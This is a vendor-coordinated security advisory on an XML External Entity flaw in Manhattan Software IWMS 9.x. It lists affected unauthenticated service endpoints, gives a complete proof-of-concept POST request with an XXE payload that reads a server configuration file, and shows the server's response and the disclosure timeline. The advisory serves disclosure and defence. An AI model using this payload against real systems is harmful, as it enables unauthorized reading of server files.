Manhattan Software IWMS (Integrated Workplace Management System) XML External Entity (XXE) Injection File Disclosure

https://www.osisecurity.com.au/manhattan-software-iwms-integrated-workplace-management-system-xml-external-entity-xxe-injection-file-disclosure.html

Date:
04-Apr-2017

Product:
Trimble / Manhattan Software IWMS (integrated workplace management system)

Versions affected:
9.x

Vulnerability:
XML External Entity injection (XXE)

Example:

There is an XXE in services such as:

https://[target]/services/WSFUNCTION
https://[target]/services/
WSGRID
https://[target]/services/WSLOOKUP
https://[target]/services/WSVALIDATE

The services ignore the presence of authentication cookies as well.

Example:

POST /services/WSFUNCTION HTTP/1.1
Host: [target]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: text/xml; charset=UTF-8
Referer: [target]/wrd/run/SPDEMLOGIN
Content-Length: 1119
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM
"file:///C:/Manhattan/Tomcat/webapps/ROOT/WEB-INF/web.xml"
>]><foo>&xxe;</foo>

Server response:

HTTP/1.1 500 Internal Server Error
Date: Mon, 13 Oct 2014 00:44:15 GMT
Server: Apache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 409
Connection: close
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<soapenv:Fault>
<faultcode>soapenv:Client</faultcode>
<faultstring>{Parser Fatal Error on Line 0, Position 0 }An exception
occurred! Type:NetAccessorException, Message:Could not open file:
http://java.sun.com/xml/ns/javaee/web-app_3_0.xs</faultstring>
</soapenv:Fault>
</soapenv:Body>
</soapenv:Envelope>

(You can see it has read the comments within the web.xml file)

Now patched with an input filter:

java.lang.NullPointerException
com.manhattansoftware.web.InjectionAttackFilter.log(InjectionAttackFilter.java:123)
com.manhattansoftware.web.InjectionAttackFilter.doFilter(InjectionAttackFilter.java:61)
com.manhattansoftware.web.XFrameFilter.doFilter(XFrameFilter.java:38)

Credit:
Discovered by Patrick Webster

Disclosure timeline:
11-Oct-2014 - Discovered during audit.
14-Oct-2014 - Reported to vendor.
18-Feb-2015 - Vendor released patch.
04-Apr-2017 - Public disclosure.

About OSI Security:

OSI Security is an independent network and computer security auditing
and consulting company based in Sydney, Australia. We provide internal
and external penetration testing, vulnerability auditing and wireless
site audits, vendor product assessments, secure network design,
forensics and risk mitigation services.

We can be found at http://www.osisecurity.com.au/